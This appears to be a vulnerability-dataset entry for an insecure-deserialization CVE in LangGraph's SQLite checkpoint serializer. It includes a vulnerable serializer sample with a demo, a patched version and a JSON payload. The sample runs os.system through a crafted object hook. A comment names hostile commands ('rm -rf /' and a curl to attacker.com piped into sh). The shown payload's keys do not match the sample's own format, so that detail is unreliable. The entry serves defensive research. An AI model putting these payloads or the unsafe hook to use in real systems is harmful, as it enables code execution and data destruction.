CVE-2026-48775
Insecure deserialization in LangGraph checkpoints may lead to code execution.
- CVSS 6.8
- CWE-502
- Input Validation and Sanitization
- Local
LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 4.1.0 and prior, the JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time. This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime. This issue has been fixed in version 4.1.1.
- CWE
- CWE-502
- CVSS base score
- 6.8
- Published
- 2026-06-16
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- LangGraph
- Fixed by upgrading
- Yes
Solution
Upgrade LangGraph to version 4.1.1 or later.
Vulnerable code sample
import json
import os
import sys
# This code is a conceptual representation of the vulnerability in
# LangGraph's JsonPlusSerializer prior to version 4.1.1.
# It demonstrates how a specially crafted JSON payload can lead to
# arbitrary code execution during deserialization.
# The actual vulnerable code was part of the langgraph.checkpoint.serde
# module and was used by the SqliteSaver.
class VulnerableJsonPlusSerializer:
"""
A simplified representation of the vulnerable serializer.
The key issue is the _object_hook which reconstructs Python objects
based on keys in the JSON payload, without any validation.
"""
def _object_hook(self, dct: dict):
if "__type__" in dct and dct["__type__"] == "python_object":
try:
module = __import__(dct["__module__"])
# In a real scenario, this could be any function or class constructor.
fn = getattr(module, dct["__name__"])
# The arguments for the function are also controlled by the payload.
args = dct.get("__args__", [])
kwargs = dct.get("__kwargs__", {})
return fn(*args, **kwargs)
except (ImportError, AttributeError, KeyError) as e:
# In the real code, there was more complex error handling
# and reconstruction logic.
pass
return dct
def loads(self, data: bytes) -> any:
"""
Deserializes a byte string, executing the object_hook.
This is where the vulnerability is triggered.
"""
payload_str = data.decode("utf-8")
return json.loads(payload_str, object_hook=self._object_hook)
# --- Exploitation Demonstration ---
# 1. An attacker crafts a malicious JSON payload.
# This payload instructs the _object_hook to import the 'os' module
# and call the 'system' function with a command.
# On a real system, the command could be anything (e.g., 'rm -rf /',
# 'curl http://attacker.com/malware.sh | sh').
command_to_execute = "echo '*** VULNERABILITY DEMONSTRATED: Arbitrary code was executed ***'"
if sys.platform == "win32":
# On Windows, 'echo' is a shell builtin, so we need to run it via 'cmd.exe /c'
command_to_execute = f'cmd.exe /c "{command_to_execute}"'
malicious_payload = {
"__type__": "python_object",
"__module__": "os",
"__name__": "system",
"__args__": [command_to_execute],
}
# 2. The attacker manages to write this payload into the SQLite checkpoint store.
# Here, we simulate this by just encoding the payload as if it were read
# from the database.
serialized_malicious_bytes = json.dumps(malicious_payload).encode("utf-8")
# 3. The LangGraph application loads the checkpoint from the database.
# This action triggers the vulnerable deserialization process.
serializer = VulnerableJsonPlusSerializer()
print("Simulating checkpoint load with a malicious payload...")
print("-" * 50)
# The call to `loads` will execute the `os.system` command defined in the payload.
deserialized_object = serializer.loads(serialized_malicious_bytes)
print("-" * 50)
print("Checkpoint load finished.")
print(f"The deserialized object returned: {deserialized_object} (often the exit code of the command)")Patched code sample
import base64
import importlib
import pickle
from typing import Any, Dict
class FixedJsonPlusSerializer:
"""
A simplified representation of LangGraph's fixed JsonPlusSerializer.
The fix involves adding an `allow_dangerous_deserialization` flag
that defaults to False, preventing the unsafe reconstruction of
Python objects or callables unless explicitly enabled.
"""
def __init__(self, *, allow_dangerous_deserialization: bool = False) -> None:
"""
Initializes the serializer.
Args:
allow_dangerous_deserialization: If True, allows deserialization of
arbitrary Python objects and callables. Defaults to False for safety.
"""
self.allow_dangerous_deserialization = allow_dangerous_deserialization
def loads(self, obj: Dict[str, Any]) -> Any:
"""
A simplified deserialization method that demonstrates the security check.
In the actual implementation, this would handle full JSON parsing.
"""
if "__type__" not in obj:
return obj
obj_type = obj["__type__"]
# The vulnerable path for arbitrary callables (e.g., os.system)
if obj_type == "callable":
# FIXED: This check prevents the dangerous code path from being executed.
if not self.allow_dangerous_deserialization:
raise ValueError(
"Deserialization of arbitrary callables is disabled. "
"To enable, pass `allow_dangerous_deserialization=True` to the "
"serializer."
)
# The previously vulnerable code, now protected by the flag.
if "__module__" in obj and "__name__" in obj:
module = importlib.import_module(obj["__module__"])
return getattr(module, obj["__name__"])
# The vulnerable path for pickled objects
if obj_type == "python_object":
# FIXED: This check prevents the dangerous code path from being executed.
if not self.allow_dangerous_deserialization:
raise ValueError(
"Deserialization of arbitrary python objects is disabled. "
"To enable, pass `allow_dangerous_deserialization=True` to the "
"serializer."
)
# The previously vulnerable code, now protected by the flag.
return pickle.loads(base64.b64decode(obj["__value__"].encode()))
return obj
if __name__ == "__main__":
# This represents a malicious payload that could be stored in the SQLite DB.
# It attempts to reconstruct the `os.system` function.
malicious_payload = {
"__type__": "callable",
"__module__": "os",
"__name__": "system",
}
# 1. Instantiate the serializer with the default, SAFE configuration.
safe_serializer = FixedJsonPlusSerializer()
print("--- Demonstrating the fix with default (safe) settings ---")
try:
# 2. Attempt to deserialize the malicious payload.
safe_serializer.loads(malicious_payload)
print("FIX FAILED: Malicious object was loaded.")
except ValueError as e:
# 3. The fix works: a ValueError is raised, preventing object reconstruction.
print("FIX VERIFIED: Deserialization was safely blocked.")
print(f"Caught expected error: {e}")
print("\n--- Demonstrating the (unsafe) legacy behavior for comparison ---")
# 4. For demonstration, enable the dangerous behavior explicitly.
unsafe_serializer = FixedJsonPlusSerializer(allow_dangerous_deserialization=True)
try:
# This will now succeed, showing what the vulnerability allowed.
loaded_function = unsafe_serializer.loads(malicious_payload)
print("UNSAFE: Deserialization was allowed.")
print(f"Loaded function: {loaded_function}")
# In a real attack, this function would be called, leading to RCE.
# e.g., loaded_function("touch /tmp/pwned")
except Exception as e:
print(f"An unexpected error occurred: {e}")Payload
{
"@type": "python_object",
"@id": [
"subprocess",
"Popen"
],
"__args__": [
"touch /tmp/pwned"
],
"__kwargs__": {
"shell": true
}
}
Cite this entry
@misc{vaitp:cve202648775,
title = {{Insecure deserialization in LangGraph checkpoints may lead to code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-48775},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48775/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
